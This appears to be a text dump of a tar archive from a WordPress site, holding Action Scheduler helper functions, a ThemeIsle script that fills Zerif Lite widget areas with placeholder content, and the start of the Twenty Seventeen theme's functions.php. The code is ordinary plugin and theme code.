function as_schedule_cron_action( $timestamp, $schedule, $hook, $args = array(), $group = '', $unique = false, $priority = 10 ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return 0;
}
/**
* Provides an opportunity to short-circuit the default process for enqueuing cron
* actions.
*
* Returning a value other than null from the filter will short-circuit the normal
* process. The expectation in such a scenario is that callbacks will return an integer
* representing the scheduled action ID (scheduled using some alternative process) or else
* zero.
*
* @param int|null $pre_option The value to return instead of the option value.
* @param int $timestamp When the action will run.
* @param string $schedule Cron-like schedule string.
* @param string $hook Action hook.
* @param array $args Action arguments.
* @param string $group Action group.
* @param int $priority Action priority.
*/
$pre = apply_filters( 'pre_as_schedule_cron_action', null, $timestamp, $schedule, $hook, $args, $group, $priority );
if ( null !== $pre ) {
return is_int( $pre ) ? $pre : 0;
}
return ActionScheduler::factory()->create(
array(
'type' => 'cron',
'hook' => $hook,
'arguments' => $args,
'when' => $timestamp,
'pattern' => $schedule,
'group' => $group,
'unique' => $unique,
'priority' => $priority,
)
);
}
/**
* Cancel the next occurrence of a scheduled action.
*
* While only the next instance of a recurring or cron action is unscheduled by this method, that will also prevent
* all future instances of that recurring or cron action from being run. Recurring and cron actions are scheduled in
* a sequence instead of all being scheduled at once. Each successive occurrence of a recurring action is scheduled
* only after the former action is run. If the next instance is never run, because it's unscheduled by this function,
* then the following instance will never be scheduled (or exist), which is effectively the same as being unscheduled
* by this method also.
*
* @param string $hook The hook that the job will trigger.
* @param array $args Args that would have been passed to the job.
* @param string $group The group the job is assigned to.
*
* @return int|null The scheduled action ID if a scheduled action was found, or null if no matching action found.
*/
function as_unschedule_action( $hook, $args = array(), $group = '' ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return 0;
}
$params = array(
'hook' => $hook,
'status' => ActionScheduler_Store::STATUS_PENDING,
'orderby' => 'date',
'order' => 'ASC',
'group' => $group,
);
if ( is_array( $args ) ) {
$params['args'] = $args;
}
$action_id = ActionScheduler::store()->query_action( $params );
if ( $action_id ) {
try {
ActionScheduler::store()->cancel_action( $action_id );
} catch ( Exception $exception ) {
ActionScheduler::logger()->log(
$action_id,
sprintf(
/* translators: %1$s is the name of the hook to be cancelled, %2$s is the exception message. */
__( 'Caught exception while cancelling action "%1$s": %2$s', 'action-scheduler' ),
$hook,
$exception->getMessage()
)
);
$action_id = null;
}
}
return $action_id;
}
/**
* Cancel all occurrences of a scheduled action.
*
* @param string $hook The hook that the job will trigger.
* @param array $args Args that would have been passed to the job.
* @param string $group The group the job is assigned to.
*/
function as_unschedule_all_actions( $hook, $args = array(), $group = '' ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return;
}
if ( empty( $args ) ) {
if ( ! empty( $hook ) && empty( $group ) ) {
ActionScheduler_Store::instance()->cancel_actions_by_hook( $hook );
return;
}
if ( ! empty( $group ) && empty( $hook ) ) {
ActionScheduler_Store::instance()->cancel_actions_by_group( $group );
return;
}
}
do {
$unscheduled_action = as_unschedule_action( $hook, $args, $group );
} while ( ! empty( $unscheduled_action ) );
}
/**
* Check if there is an existing action in the queue with a given hook, args and group combination.
*
* An action in the queue could be pending, in-progress or async. If the is pending for a time in
* future, its scheduled date will be returned as a timestamp. If it is currently being run, or an
* async action sitting in the queue waiting to be processed, in which case boolean true will be
* returned. Or there may be no async, in-progress or pending action for this hook, in which case,
* boolean false will be the return value.
*
* @param string $hook Name of the hook to search for.
* @param array $args Arguments of the action to be searched.
* @param string $group Group of the action to be searched.
*
* @return int|bool The timestamp for the next occurrence of a pending scheduled action, true for an async or in-progress action or false if there is no matching action.
*/
function as_next_scheduled_action( $hook, $args = null, $group = '' ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return false;
}
$params = array(
'hook' => $hook,
'orderby' => 'date',
'order' => 'ASC',
'group' => $group,
);
if ( is_array( $args ) ) {
$params['args'] = $args;
}
$params['status'] = ActionScheduler_Store::STATUS_RUNNING;
$action_id = ActionScheduler::store()->query_action( $params );
if ( $action_id ) {
return true;
}
$params['status'] = ActionScheduler_Store::STATUS_PENDING;
$action_id = ActionScheduler::store()->query_action( $params );
if ( null === $action_id ) {
return false;
}
$action = ActionScheduler::store()->fetch_action( $action_id );
$scheduled_date = $action->get_schedule()->get_date();
if ( $scheduled_date ) {
return (int) $scheduled_date->format( 'U' );
} elseif ( null === $scheduled_date ) { // pending async action with NullSchedule.
return true;
}
return false;
}
/**
* Check if there is a scheduled action in the queue but more efficiently than as_next_scheduled_action().
*
* It's recommended to use this function when you need to know whether a specific action is currently scheduled
* (pending or in-progress).
*
* @since 3.3.0
*
* @param string $hook The hook of the action.
* @param array $args Args that have been passed to the action. Null will matches any args.
* @param string $group The group the job is assigned to.
*
* @return bool True if a matching action is pending or in-progress, false otherwise.
*/
function as_has_scheduled_action( $hook, $args = null, $group = '' ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return false;
}
$query_args = array(
'hook' => $hook,
'status' => array( ActionScheduler_Store::STATUS_RUNNING, ActionScheduler_Store::STATUS_PENDING ),
'group' => $group,
'orderby' => 'none',
);
if ( null !== $args ) {
$query_args['args'] = $args;
}
$action_id = ActionScheduler::store()->query_action( $query_args );
return null !== $action_id;
}
/**
* Find scheduled actions
*
* @param array $args Possible arguments, with their default values.
* 'hook' => '' - the name of the action that will be triggered.
* 'args' => NULL - the args array that will be passed with the action.
* 'date' => NULL - the scheduled date of the action. Expects a DateTime object, a unix timestamp, or a string that can parsed with strtotime(). Used in UTC timezone.
* 'date_compare' => '<=' - operator for testing "date". accepted values are '!=', '>', '>=', '<', '<=', '='.
* 'modified' => NULL - the date the action was last updated. Expects a DateTime object, a unix timestamp, or a string that can parsed with strtotime(). Used in UTC timezone.
* 'modified_compare' => '<=' - operator for testing "modified". accepted values are '!=', '>', '>=', '<', '<=', '='.
* 'group' => '' - the group the action belongs to.
* 'status' => '' - ActionScheduler_Store::STATUS_COMPLETE or ActionScheduler_Store::STATUS_PENDING.
* 'claimed' => NULL - TRUE to find claimed actions, FALSE to find unclaimed actions, a string to find a specific claim ID.
* 'per_page' => 5 - Number of results to return.
* 'offset' => 0.
* 'orderby' => 'date' - accepted values are 'hook', 'group', 'modified', 'date' or 'none'.
* 'order' => 'ASC'.
*
* @param string $return_format OBJECT, ARRAY_A, or ids.
*
* @return array
*/
function as_get_scheduled_actions( $args = array(), $return_format = OBJECT ) {
if ( ! ActionScheduler::is_initialized( __FUNCTION__ ) ) {
return array();
}
$store = ActionScheduler::store();
foreach ( array( 'date', 'modified' ) as $key ) {
if ( isset( $args[ $key ] ) ) {
$args[ $key ] = as_get_datetime_object( $args[ $key ] );
}
}
$ids = $store->query_actions( $args );
if ( 'ids' === $return_format || 'int' === $return_format ) {
return $ids;
}
$actions = array();
foreach ( $ids as $action_id ) {
$actions[ $action_id ] = $store->fetch_action( $action_id );
}
if ( ARRAY_A === $return_format ) {
foreach ( $actions as $action_id => $action_object ) {
$actions[ $action_id ] = get_object_vars( $action_object );
}
}
return $actions;
}
/**
* Helper function to create an instance of DateTime based on a given
* string and timezone. By default, will return the current date/time
* in the UTC timezone.
*
* Needed because new DateTime() called without an explicit timezone
* will create a date/time in PHP's timezone, but we need to have
* assurance that a date/time uses the right timezone (which we almost
* always want to be UTC), which means we need to always include the
* timezone when instantiating datetimes rather than leaving it up to
* the PHP default.
*
* @param mixed $date_string A date/time string. Valid formats are explained in http://php.net/manual/en/datetime.formats.php.
* @param string $timezone A timezone identifier, like UTC or Europe/Lisbon. The list of valid identifiers is available http://php.net/manual/en/timezones.php.
*
* @return ActionScheduler_DateTime
*/
function as_get_datetime_object( $date_string = null, $timezone = 'UTC' ) {
if ( is_object( $date_string ) && $date_string instanceof DateTime ) {
$date = new ActionScheduler_DateTime( $date_string->format( 'Y-m-d H:i:s' ), new DateTimeZone( $timezone ) );
} elseif ( is_numeric( $date_string ) ) {
$date = new ActionScheduler_DateTime( '@' . $date_string, new DateTimeZone( $timezone ) );
} else {
$date = new ActionScheduler_DateTime( null === $date_string ? 'now' : $date_string, new DateTimeZone( $timezone ) );
}
return $date;
}
wp-content/plugins/themeisle-companion/obfx_modules/companion-legacy/inc/zerif-lite/functions.php 0000644 00000035231 15114077711 0033336 0 ustar 00 home/xbodynamge/dev <?php
/**
* Populate Zerif frontpage widgets areas with default widgets
*/
function themeisle_populate_with_default_widgets() {
$zerif_lite_sidebars = array(
'sidebar-ourfocus' => 'sidebar-ourfocus',
'sidebar-testimonials' => 'sidebar-testimonials',
'sidebar-ourteam' => 'sidebar-ourteam',
'sidebar-aboutus' => 'sidebar-aboutus',
);
$active_widgets = get_option( 'sidebars_widgets' );
/**
* Populate the Our Focus sidebar
*/
if ( empty( $active_widgets[ $zerif_lite_sidebars['sidebar-ourfocus'] ] ) ) {
$zerif_lite_counter = 1;
/* our focus widget #1 */
$active_widgets['sidebar-ourfocus'][0] = 'ctup-ads-widget-' . $zerif_lite_counter;
if ( file_exists( get_stylesheet_directory() . '/images/parallax.png' ) ) {
$ourfocus_content[ $zerif_lite_counter ] = array(
'title' => 'PARALLAX EFFECT',
'text' => 'Create memorable pages with smooth parallax effects that everyone loves. Also, use our lightweight content slider offering you smooth and great-looking animations.',
'link' => '#',
// Custom code with stylesheet_direc
'image_uri' => apply_filters( 'zerif_ourfocus_icon_default_filter', get_stylesheet_directory_uri() . '/images/parallax.png', 'first' ),
);
} else {
$ourfocus_content[ $zerif_lite_counter ] = array(
'title' => 'PARALLAX EFFECT',
'text' => 'Create memorable pages with smooth parallax effects that everyone loves. Also, use our lightweight content slider offering you smooth and great-looking animations.',
'link' => '#',
// Custom code with template_direc
'image_uri' => apply_filters( 'zerif_ourfocus_icon_default_filter', get_template_directory_uri() . '/images/parallax.png', 'first' ),
);
}
update_option( 'widget_ctup-ads-widget', $ourfocus_content );
$zerif_lite_counter ++;
/* our focus widget #2 */
$active_widgets['sidebar-ourfocus'][] = 'ctup-ads-widget-' . $zerif_lite_counter;
if ( file_exists( get_stylesheet_directory() . '/images/woo.png' ) ) {
$ourfocus_content[ $zerif_lite_counter ] = array(
'title' => 'WOOCOMMERCE',
'text' => 'Build a front page for your WooCommerce store in a matter of minutes. The neat and clean presentation will help your sales and make your store accessible to everyone.',
'link' => '#',
// Custom code with stylesheet_direc
'image_uri' => apply_filters( 'zerif_ourfocus_icon_default_filter', get_stylesheet_directory_uri() . '/images/woo.png', 'second' ),
);
} else {
$ourfocus_content[ $zerif_lite_counter ] = array(
'title' => 'WOOCOMMERCE',
'text' => 'Build a front page for your WooCommerce store in a matter of minutes. The neat and clean presentation will help your sales and make your store accessible to everyone.',
'link' => '#',
// Custom code with template_direc
'image_uri' => apply_filters( 'zerif_ourfocus_icon_default_filter', get_template_directory_uri() . '/images/woo.png', 'second' ),
);
}
update_option( 'widget_ctup-ads-widget', $ourfocus_content );
$zerif_lite_counter ++;
/* our focus widget #3 */
$active_widgets['sidebar-ourfocus'][] = 'ctup-ads-widget-' . $zerif_lite_counter;
if ( file_exists( get_stylesheet_directory() . '/images/ccc.png' ) ) {
$ourfocus_content[ $zerif_lite_counter ] = array(
'title' => 'CUSTOM CONTENT BLOCKS',
'text' => 'Showcase your team, products, clients, about info, testimonials, latest posts from the blog, contact form, additional calls to action. Everything translation ready.',
'link' => '#',
// Custom code with stylesheet_direc
'image_uri' => apply_filters( 'zerif_ourfocus_icon_default_filter', get_stylesheet_directory_uri() . '/images/ccc.png', 'third' ),
);
} else {
$ourfocus_content[ $zerif_lite_counter ] = array(
'title' => 'CUSTOM CONTENT BLOCKS',
'text' => 'Showcase your team, products, clients, about info, testimonials, latest posts from the blog, contact form, additional calls to action. Everything translation ready.',
'link' => '#',
// Custom code with template_direc
'image_uri' => apply_filters( 'zerif_ourfocus_icon_default_filter', get_template_directory_uri() . '/images/ccc.png', 'third' ),
);
}
update_option( 'widget_ctup-ads-widget', $ourfocus_content );
$zerif_lite_counter ++;
/* our focus widget #4 */
$active_widgets['sidebar-ourfocus'][] = 'ctup-ads-widget-' . $zerif_lite_counter;
if ( file_exists( get_stylesheet_directory() . '/images/ti-logo.png' ) ) {
$ourfocus_content[ $zerif_lite_counter ] = array(
'title' => 'GO PRO FOR MORE FEATURES',
'text' => 'Get new content blocks: pricing table, Google Maps, and more. Change the sections order, display each block exactly where you need it, customize the blocks with whatever colors you wish.',
'link' => '#',
// Custom code with stylesheet_direc
'image_uri' => apply_filters( 'zerif_ourfocus_icon_default_filter', get_stylesheet_directory_uri() . '/images/ti-logo.png', 'fourth' ),
);
} else {
$ourfocus_content[ $zerif_lite_counter ] = array(
'title' => 'GO PRO FOR MORE FEATURES',
'text' => 'Get new content blocks: pricing table, Google Maps, and more. Change the sections order, display each block exactly where you need it, customize the blocks with whatever colors you wish.',
'link' => '#',
// Custom code with template_direc
'image_uri' => apply_filters( 'zerif_ourfocus_icon_default_filter', get_template_directory_uri() . '/images/ti-logo.png', 'fourth' ),
);
}
update_option( 'widget_ctup-ads-widget', $ourfocus_content );
$zerif_lite_counter ++;
update_option( 'sidebars_widgets', $active_widgets );
}// End if().
/**
* Populate the Testimonials sidebar
*/
if ( empty( $active_widgets[ $zerif_lite_sidebars['sidebar-testimonials'] ] ) ) {
$zerif_lite_counter = 1;
/* testimonial widget #1 */
$active_widgets['sidebar-testimonials'][0] = 'zerif_testim-widget-' . $zerif_lite_counter;
if ( file_exists( get_stylesheet_directory() . '/images/testimonial1.jpg' ) ) {
$testimonial_content[ $zerif_lite_counter ] = array(
'title' => 'Dana Lorem',
'text' => 'Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Curabitur nec sem vel sapien venenatis mattis non vitae augue. Nullam congue commodo lorem vitae facilisis. Suspendisse malesuada id turpis interdum dictum.',
'image_uri' => get_stylesheet_directory_uri() . '/images/testimonial1.jpg',
);
} else {
$testimonial_content[ $zerif_lite_counter ] = array(
'title' => 'Dana Lorem',
'text' => 'Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Curabitur nec sem vel sapien venenatis mattis non vitae augue. Nullam congue commodo lorem vitae facilisis. Suspendisse malesuada id turpis interdum dictum.',
'image_uri' => get_template_directory_uri() . '/images/testimonial1.jpg',
);
}
update_option( 'widget_zerif_testim-widget', $testimonial_content );
$zerif_lite_counter ++;
/* testimonial widget #2 */
$active_widgets['sidebar-testimonials'][] = 'zerif_testim-widget-' . $zerif_lite_counter;
if ( file_exists( get_stylesheet_directory() . '/images/testimonial2.jpg' ) ) {
$testimonial_content[ $zerif_lite_counter ] = array(
'title' => 'Linda Guthrie',
'text' => 'Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Curabitur nec sem vel sapien venenatis mattis non vitae augue. Nullam congue commodo lorem vitae facilisis. Suspendisse malesuada id turpis interdum dictum.',
'image_uri' => get_stylesheet_directory_uri() . '/images/testimonial2.jpg',
);
} else {
$testimonial_content[ $zerif_lite_counter ] = array(
'title' => 'Linda Guthrie',
'text' => 'Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Curabitur nec sem vel sapien venenatis mattis non vitae augue. Nullam congue commodo lorem vitae facilisis. Suspendisse malesuada id turpis interdum dictum.',
'image_uri' => get_template_directory_uri() . '/images/testimonial2.jpg',
);
}
update_option( 'widget_zerif_testim-widget', $testimonial_content );
$zerif_lite_counter ++;
/* testimonial widget #3 */
$active_widgets['sidebar-testimonials'][] = 'zerif_testim-widget-' . $zerif_lite_counter;
if ( file_exists( get_stylesheet_directory() . '/images/testimonial3.jpg' ) ) {
$testimonial_content[ $zerif_lite_counter ] = array(
'title' => 'Cynthia Henry',
'text' => 'Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Curabitur nec sem vel sapien venenatis mattis non vitae augue. Nullam congue commodo lorem vitae facilisis. Suspendisse malesuada id turpis interdum dictum.',
'image_uri' => get_stylesheet_directory_uri() . '/images/testimonial3.jpg',
);
} else {
$testimonial_content[ $zerif_lite_counter ] = array(
'title' => 'Cynthia Henry',
'text' => 'Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Curabitur nec sem vel sapien venenatis mattis non vitae augue. Nullam congue commodo lorem vitae facilisis. Suspendisse malesuada id turpis interdum dictum.',
'image_uri' => get_template_directory_uri() . '/images/testimonial3.jpg',
);
}
update_option( 'widget_zerif_testim-widget', $testimonial_content );
$zerif_lite_counter ++;
update_option( 'sidebars_widgets', $active_widgets );
}// End if().
/**
* Populate the Our team sidebar
*/
if ( empty( $active_widgets[ $zerif_lite_sidebars['sidebar-ourteam'] ] ) ) {
$zerif_lite_counter = 1;
/* our team widget #1 */
$active_widgets['sidebar-ourteam'][0] = 'zerif_team-widget-' . $zerif_lite_counter;
$ourteam_content[ $zerif_lite_counter ] = array(
'name' => 'ASHLEY SIMMONS',
'position' => 'Project Manager',
'description' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc dapibus, eros at accumsan auctor, felis eros condimentum quam, non porttitor est urna vel neque',
'fb_link' => '#',
'tw_link' => '#',
'bh_link' => '#',
'db_link' => '#',
'ln_link' => '#',
'image_uri' => get_template_directory_uri() . '/images/team1.png',
);
update_option( 'widget_zerif_team-widget', $ourteam_content );
$zerif_lite_counter ++;
/* our team widget #2 */
$active_widgets['sidebar-ourteam'][] = 'zerif_team-widget-' . $zerif_lite_counter;
$ourteam_content[ $zerif_lite_counter ] = array(
'name' => 'TIMOTHY SPRAY',
'position' => 'Art Director',
'description' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc dapibus, eros at accumsan auctor, felis eros condimentum quam, non porttitor est urna vel neque',
'fb_link' => '#',
'tw_link' => '#',
'bh_link' => '#',
'db_link' => '#',
'ln_link' => '#',
'image_uri' => get_template_directory_uri() . '/images/team2.png',
);
update_option( 'widget_zerif_team-widget', $ourteam_content );
$zerif_lite_counter ++;
/* our team widget #3 */
$active_widgets['sidebar-ourteam'][] = 'zerif_team-widget-' . $zerif_lite_counter;
$ourteam_content[ $zerif_lite_counter ] = array(
'name' => 'TONYA GARCIA',
'position' => 'Account Manager',
'description' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc dapibus, eros at accumsan auctor, felis eros condimentum quam, non porttitor est urna vel neque',
'fb_link' => '#',
'tw_link' => '#',
'bh_link' => '#',
'db_link' => '#',
'ln_link' => '#',
'image_uri' => get_template_directory_uri() . '/images/team3.png',
);
update_option( 'widget_zerif_team-widget', $ourteam_content );
$zerif_lite_counter ++;
/* our team widget #4 */
$active_widgets['sidebar-ourteam'][] = 'zerif_team-widget-' . $zerif_lite_counter;
$ourteam_content[ $zerif_lite_counter ] = array(
'name' => 'JASON LANE',
'position' => 'Business Development',
'description' => 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc dapibus, eros at accumsan auctor, felis eros condimentum quam, non porttitor est urna vel neque',
'fb_link' => '#',
'tw_link' => '#',
'bh_link' => '#',
'db_link' => '#',
'ln_link' => '#',
'image_uri' => get_template_directory_uri() . '/images/team4.png',
);
update_option( 'widget_zerif_team-widget', $ourteam_content );
$zerif_lite_counter ++;
update_option( 'sidebars_widgets', $active_widgets );
}// End if().
/**
* Populate the Aboutus sidebar with Client widgets
*/
if ( empty( $active_widgets[ $zerif_lite_sidebars['sidebar-aboutus'] ] ) ) {
$zerif_lite_counter = 1;
/* client widget #1 */
$active_widgets['sidebar-aboutus'][0] = 'zerif_clients-widget-' . $zerif_lite_counter;
$client_content[ $zerif_lite_counter ] = array(
'link' => '#',
'image_uri' => get_template_directory_uri() . '/images/clients1.png',
);
update_option( 'widget_zerif_clients-widget', $client_content );
$zerif_lite_counter ++;
/* client widget #2 */
$active_widgets['sidebar-aboutus'][] = 'zerif_clients-widget-' . $zerif_lite_counter;
$client_content[ $zerif_lite_counter ] = array(
'link' => '#',
'image_uri' => get_template_directory_uri() . '/images/clients2.png',
);
update_option( 'widget_zerif_clients-widget', $client_content );
$zerif_lite_counter ++;
update_option( 'sidebars_widgets', $active_widgets );
/* client widget #3 */
$active_widgets['sidebar-aboutus'][] = 'zerif_clients-widget-' . $zerif_lite_counter;
$client_content[ $zerif_lite_counter ] = array(
'link' => '#',
'image_uri' => get_template_directory_uri() . '/images/clients3.png',
);
update_option( 'widget_zerif_clients-widget', $client_content );
$zerif_lite_counter ++;
update_option( 'sidebars_widgets', $active_widgets );
/* client widget #4 */
$active_widgets['sidebar-aboutus'][] = 'zerif_clients-widget-' . $zerif_lite_counter;
$client_content[ $zerif_lite_counter ] = array(
'link' => '#',
'image_uri' => get_template_directory_uri() . '/images/clients4.png',
);
update_option( 'widget_zerif_clients-widget', $client_content );
$zerif_lite_counter ++;
update_option( 'sidebars_widgets', $active_widgets );
/* client widget #5 */
$active_widgets['sidebar-aboutus'][] = 'zerif_clients-widget-' . $zerif_lite_counter;
$client_content[ $zerif_lite_counter ] = array(
'link' => '#',
'image_uri' => get_template_directory_uri() . '/images/clients5.png',
);
update_option( 'widget_zerif_clients-widget', $client_content );
$zerif_lite_counter ++;
update_option( 'sidebars_widgets', $active_widgets );
}// End if().
update_option( 'themeisle_companion_flag', 'installed' );
}
home/xbodynamge/www/wp-content/themes/twentyseventeen/functions.php 0000644 00000045120 15114106441 0022027 0 ustar 00 <?php
/**
* Twenty Seventeen functions and definitions
*
* @link https://developer.wordpress.org/themes/basics/theme-functions/
*
* @package WordPress
* @subpackage Twenty_Seventeen
* @since 1.0
*/
/**
* Twenty Seventeen only works in WordPress 4.7 or later.
*/
if ( version_compare( $GLOBALS['wp_version'], '4.7-alpha', '<' ) ) {
require get_template_directory() . '/inc/back-compat.php';
return;
}
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function twentyseventeen_setup() {
/*
* Make theme available for translation.
* Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentyseventeen
* If you're building a theme based on Twenty Seventeen, use a find and replace
* to change 'twentyseventeen' to the name of your theme in all the template files.
*/
load_theme_textdomain( 'twentyseventeen' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
add_image_size( 'twentyseventeen-featured-image', 2000, 1200, true );
add_image_size( 'twentyseventeen-thumbnail-avatar', 100, 100, true );
// Set the default content width.
$GLOBALS['content_width'] = 525;
// This theme uses wp_nav_menu() in two locations.
register_nav_menus(
array(
'top' => __( 'Top Menu', 'twentyseventeen' ),
'social' => __( 'Social Links Menu', 'twentyseventeen' ),
)
);
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support(
'html5', array(
'comment-form',
'comment-list',
'gallery',
'caption',
)
);
/*
* Enable support for Post Formats.
*
* See: https://codex.wordpress.org/Post_Formats
*/
add_theme_support(
'post-formats', array(
'aside',
'image',
'video',
'quote',
'link',
'gallery',
'audio',
)
);
// Add theme support for Custom Logo.
add_theme_support(
'custom-logo', array(
'width' => 250,
'height' => 250,
'flex-width' => true,
)
);
// Add theme support for selective refresh for widgets.
add_theme_support( 'customize-selective-refresh-widgets' );
/*
* This theme styles the visual editor to resemble the theme style,
* specifically font, colors, and column width.
*/
add_editor_style( array( 'assets/css/editor-style.css', twentyseventeen_fonts_url() ) );
// Define and register starter content to showcase the theme on new sites.
$starter_content = array(
'widgets' => array(
// Place three core-defined widgets in the sidebar area.
'sidebar-1' => array(
'text_business_info',
'search',
'text_about',
),
// Add the core-defined business info widget to the footer 1 area.
'sidebar-2' => array(
'text_business_info',
),
// Put two core-defined widgets in the footer 2 area.
'sidebar-3' => array(
'text_about',
'search',
),
),
// Specify the core-defined pages to create and add custom thumbnails to some of them.
'posts' => array(
'home',
'about' => array(
'thumbnail' => '{{image-sandwich}}',
),
'contact' => array(
'thumbnail' => '{{image-espresso}}',
),
'blog' => array(
'thumbnail' => '{{image-coffee}}',
),
'homepage-section' => array(
'thumbnail' => '{{image-espresso}}',
),
),
// Create the custom image attachments used as post thumbnails for pages.
'attachments' => array(
'image-espresso' => array(
'post_title' => _x( 'Espresso', 'Theme starter content', 'twentyseventeen' ),
'file' => 'assets/images/espresso.jpg', // URL relative to the template directory.
),
'image-sandwich' => array(
'post_title' => _x( 'Sandwich', 'Theme starter content', 'twentyseventeen' ),
'file' => 'assets/images/sandwich.jpg',
),
'image-coffee' => array(
'post_title' => _x( 'Coffee', 'Theme starter content', 'twentyseventeen' ),
'file' => 'assets/images/coffee.jpg',
),
),
// Default to a static front page and assign the front and posts pages.
'options' => array(
'show_on_front' => 'page',
'page_on_front' => '{{home}}',
'page_for_posts' => '{{blog}}',
),
// Set the front page section theme mods to the IDs of the core-registered pages.
'theme_mods' => array(
'panel_1' => '{{homepage-section}}',
'panel_2' => '{{about}}',
'panel_3' => '{{blog}}',
'panel_4' => '{{contact}}',
),
// Set up nav menus for each of the two areas registered in the theme.
'nav_menus' => array(
// Assign a menu to the "top" location.
'top' => array(
'name' => __( 'Top Menu', 'twentyseventeen' ),
'items' => array(
'link_home', // Note that the core "home" page is actually a link in case a static front page is not used.
'page_about',
'page_blog',
'page_contact',
),
),
// Assign a menu to the "social" location.
'social' => array(
'name' => __( 'Social Links Menu', 'twentyseventeen' ),
'items' => array(
'link_yelp',
'link_facebook',
'link_twitter',
'link_instagram',
'link_email',
),
),
),
);
/**
* Filters Twenty Seventeen array of starter content.
*
* @since Twenty Seventeen 1.1
*
* @param array $starter_content Array of starter content.
*/
$starter_content = apply_filters( 'twentyseventeen_starter_content', $starter_content );
add_theme_support( 'starter-content', $starter_content );
}
add_action( 'after_setup_theme', 'twentyseventeen_setup' );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*/
function twentyseventeen_content_width() {
$content_width = $GLOBALS['content_width'];
// Get layout.
$page_layout = get_theme_mod( 'page_layout' );
// Check if layout is one column.
if ( 'one-column' === $page_layout ) {
if ( twentyseventeen_is_frontpage() ) {
$content_width = 644;
} elseif ( is_page() ) {
$content_width = 740;
}
}
// Check if is single post and there is no sidebar.
if ( is_single() && ! is_active_sidebar( 'sidebar-1' ) ) {
$content_width = 740;
}
/**
* Filter Twenty Seventeen content width of the theme.
*
* @since Twenty Seventeen 1.0
*
* @param int $content_width Content width in pixels.
*/
$GLOBALS['content_width'] = apply_filters( 'twentyseventeen_content_width', $content_width );
}
add_action( 'template_redirect', 'twentyseventeen_content_width', 0 );
/**
* Register custom fonts.
*/
function twentyseventeen_fonts_url() {
$fonts_url = '';
/*
* Translators: If there are characters in your language that are not
* supported by Libre Franklin, translate this to 'off'. Do not translate
* into your own language.
*/
$libre_franklin = _x( 'on', 'Libre Franklin font: on or off', 'twentyseventeen' );
if ( 'off' !== $libre_franklin ) {
$font_families = array();
$font_families[] = 'Libre Franklin:300,300i,400,400i,600,600i,800,800i';
$query_args = array(
'family' => urlencode( implode( '|', $font_families ) ),
'subset' => urlencode( 'latin,latin-ext' ),
);
$fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
}
return esc_url_raw( $fonts_url );
}
/**
* Add preconnect for Google Fonts.
*
* @since Twenty Seventeen 1.0
*
* @param array $urls URLs to print for resource hints.
* @param string $relation_type The relation type the URLs are printed.
* @return array $urls URLs to print for resource hints.
*/
function twentyseventeen_resource_hints( $urls, $relation_type ) {
if ( wp_style_is( 'twentyseventeen-fonts', 'queue' ) && 'preconnect' === $relation_type ) {
$urls[] = array(
'href' => 'https://fonts.gstatic.com',
'crossorigin',
);
}
return $urls;
}
add_filter( 'wp_resource_hints', 'twentyseventeen_resource_hints', 10, 2 );
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function twentyseventeen_widgets_init() {
register_sidebar(
array(
'name' => __( 'Blog Sidebar', 'twentyseventeen' ),
'id' => 'sidebar-1',
'description' => __( 'Add widgets here to appear in your sidebar on blog posts and archive pages.', 'twentyseventeen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
register_sidebar(
array(
'name' => __( 'Footer 1', 'twentyseventeen' ),
'id' => 'sidebar-2',
'description' => __( 'Add widgets here to appear in your footer.', 'twentyseventeen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
register_sidebar(
array(
'name' => __( 'Footer 2', 'twentyseventeen' ),
'id' => 'sidebar-3',
'description' => __( 'Add widgets here to appear in your footer.', 'twentyseventeen' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
}
add_action( 'widgets_init', 'twentyseventeen_widgets_init' );
/**
* Replaces "[...]" (appended to automatically generated excerpts) with ... and
* a 'Continue reading' link.
*
* @since Twenty Seventeen 1.0
*
* @param string $link Link to single post/page.
* @return string 'Continue reading' link prepended with an ellipsis.
*/
function twentyseventeen_excerpt_more( $link ) {
if ( is_admin() ) {
return $link;
}
$link = sprintf(
'<p class="link-more"><a href="%1$s" class="more-link">%2$s</a></p>',
esc_url( get_permalink( get_the_ID() ) ),
/* translators: %s: Name of current post */
